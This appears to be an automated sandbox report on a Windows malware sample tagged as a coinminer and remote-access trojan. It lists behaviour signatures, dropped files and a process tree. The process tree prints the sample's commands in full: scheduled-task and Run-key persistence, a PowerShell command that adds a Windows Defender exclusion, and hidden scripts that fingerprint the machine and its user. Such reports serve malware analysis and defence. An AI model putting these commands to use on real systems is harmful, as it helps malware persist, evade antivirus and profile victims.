Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/06/2026, 18:38

General

  • Target
    2026-06-28_db1354379c220276c102132352348c4b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
  • Size 9.7MB
  • Sample260628-xaeakacs7p
  • SHA256 7256d0e5500f4626c08a9f1a4e5b7ab8727c6867d3ec22f5c40d1bd537d3c211
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 9 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 26 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-06-28_db1354379c220276c102132352348c4b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-28_db1354379c220276c102132352348c4b_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2592
    • C:\ProgramData\Microsoft\Microsoft.exe
      C:\ProgramData\Microsoft\Microsoft.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1900
      • C:\Windows\system32\schtasks.exe
        schtasks /delete /tn LabLoadAgent /f
        3⤵
          PID:3904
        • C:\Windows\system32\schtasks.exe
          schtasks /delete /tn LabLoadAgentBoot /f
          3⤵
            PID:4212
          • C:\Windows\system32\schtasks.exe
            schtasks /delete /tn MicrosoftAgent /f
            3⤵
              PID:5644
            • C:\Windows\system32\schtasks.exe
              schtasks /delete /tn MicrosoftAgentBoot /f
              3⤵
                PID:2668
              • C:\Windows\system32\schtasks.exe
                schtasks /create /tn LabLoadAgent /tr \"C:\ProgramData\Microsoft\Microsoft.exe\" /sc onlogon /rl HIGHEST /f
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1200
              • C:\Windows\system32\schtasks.exe
                schtasks /create /tn LabLoadAgentBoot /tr \"C:\ProgramData\Microsoft\Microsoft.exe\" /sc onstart /delay 0002:00 /rl HIGHEST /f
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5396
              • C:\Windows\system32\reg.exe
                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v LabLoadAgent /t REG_SZ /d \"C:\ProgramData\Microsoft\Microsoft.exe\" /f
                3⤵
                • Adds Run key to start application
                • Modifies registry key
                PID:5588
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft' -ErrorAction Stop; exit 0 } catch { exit 1 }"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4576
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command " $os = Get-CimInstance Win32_OperatingSystem $cpu = Get-CimInstance Win32_Processor | Select-Object -First 1 $cs = Get-CimInstance Win32_ComputerSystem $disk = Get-CimInstance Win32_LogicalDisk -Filter \"DeviceID='C:'\" -ErrorAction SilentlyContinue $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $obj = [ordered]@{ os = $os.Caption osVersion = $os.Version arch = $env:PROCESSOR_ARCHITECTURE cpuModel = ($cpu.Name -replace '\s+', ' ').Trim() cpuCores = [int]$cs.NumberOfLogicalProcessors ramTotalGb = [math]::Round($os.TotalVisibleMemorySize/1MB, 1) ramFreeGb = [math]::Round($os.FreePhysicalMemory/1MB, 1) diskTotalGb = if ($disk) { [math]::Round($disk.Size/1GB, 1) } else { $null } diskFreeGb = if ($disk) { [math]::Round($disk.FreeSpace/1GB, 1) } else { $null } computerName = $env:COMPUTERNAME machineUuid = if ($prod) { $prod.UUID } else { $null } username = $env:USERNAME collectedAt = (Get-Date).ToUniversalTime().ToString(\"o\") } $obj | ConvertTo-Json -Compress "
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3508
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:3888
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:804
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:4668
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:1568
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:3100
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:4876
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:1268
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:436
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -Command " $prod = Get-CimInstance Win32_ComputerSystemProduct -ErrorAction SilentlyContinue $bios = Get-CimInstance Win32_BIOS -ErrorAction SilentlyContinue $mac = (Get-CimInstance Win32_NetworkAdapter -ErrorAction SilentlyContinue | Where-Object { $_.MACAddress -and $_.PhysicalAdapter } | Select-Object -First 1).MACAddress $parts = @() if ($prod -and $prod.UUID -and $prod.UUID -ne 'UUID') { $parts += $prod.UUID } if ($bios -and $bios.SerialNumber -and $bios.SerialNumber -notmatch '^(Default|To be filled)') { $parts += $bios.SerialNumber } if ($mac) { $parts += $mac } if ($parts.Count -gt 0) { ($parts -join '|'); exit } $env:COMPUTERNAME "
                3⤵
                • Hide Artifacts: Ignore Process Interrupts
                • Suspicious behavior: EnumeratesProcesses
                PID:2528
          • C:\ProgramData\Microsoft\Microsoft.exe
            "C:\ProgramData\Microsoft\Microsoft.exe"
            1⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2944
            • C:\Windows\system32\tasklist.exe
              tasklist /FI "PID eq 1900" /NH
              2⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:2780

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                .lab-instance-id

                • Path C:\ProgramData\Microsoft\.lab-instance-id
                • Size 137B
                • SHA256 9a19d487a1f6eb906c6bf8c4e9b989082f002fb99287cf28532d1f4d489bfc8f
                • MD5 SHA1 SHA512 TLSH

                Microsoft.exe

                • Path C:\ProgramData\Microsoft\Microsoft.exe
                • Size 9.7MB
                • SHA256 7256d0e5500f4626c08a9f1a4e5b7ab8727c6867d3ec22f5c40d1bd537d3c211
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lab-agent.lock

                • Path C:\ProgramData\Microsoft\lab-agent.lock
                • Size 4B
                • SHA256 e41d64db5703c6440b5c714d57251a845bc0bd241480b41a4e7fd3e052f85a82
                • MD5 SHA1 SHA512

                lab-agent.log

                • Path C:\ProgramData\Microsoft\lab-agent.log
                • Size 295B
                • SHA256 83e3439ed9b311aef39db91ab914190a88e4ec12463b70db76d76249dbe5f739
                • MD5 SHA1 SHA512 TLSH

                server.json

                • Path C:\ProgramData\Microsoft\server.json
                • Size 37B
                • SHA256 4fbd89fdb1e2109b5483673fcfcbb7c683fe776d1fc18654826a9557304ed6fb
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 542249d9ad28e3f22862dbf5a4baf7b937426e17a7caf0a859f51f2406564fb0
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 318f89d717470f265f87f37aa958408f4a4fe19a9595c33b327171c6546ad7b7
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 f916075ccf4073a18383b78278ce7314465bfca8b1a3e536e423e33a8f791c16
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 3203209200177d187b36fc77c69b1073dae1601f695c20ced54f89d9adb175af
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 071d0c1886d654c2f7bf0d569e9e9c1dc56d01eb98bb28208b64a2e2c2020d8a
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 a03f4be1fc8c4360be9de4a7f4101f66b904bec2739a7135e5584b39405fcb0f
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 6887b46a6ab7f4651bb6b4fcefca922c65b6ed3290ab4df0cdd60699e9e38183
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 9439b6988e560e7be4fe42a32a9e3bc9da9dd350b82b30a95a2e1a2e8b28b7ef
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 472535220a93de9445ae317152607489a2cb39e1780c28b97d32ed26b5af1f3b
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_kr2nwkjb.mrt.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kr2nwkjb.mrt.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                memory/804-47-0x00000258AEB40000-0x00000258AEBF2000-memory.dmp

                memory/3100-69-0x00000169EA010000-0x00000169EA0C2000-memory.dmp

                memory/3508-29-0x0000013BD4C20000-0x0000013BD4C4A000-memory.dmp

                memory/3508-32-0x0000013BD54F0000-0x0000013BD5A18000-memory.dmp

                memory/3508-31-0x0000013BD4DF0000-0x0000013BD4FB2000-memory.dmp

                memory/3508-30-0x0000013BD4C20000-0x0000013BD4C44000-memory.dmp

                memory/4576-16-0x000002709D570000-0x000002709D622000-memory.dmp

                memory/4576-15-0x000002709D550000-0x000002709D56E000-memory.dmp

                memory/4576-17-0x000002709D630000-0x000002709D63A000-memory.dmp

                memory/4576-12-0x000002709D4B0000-0x000002709D4D2000-memory.dmp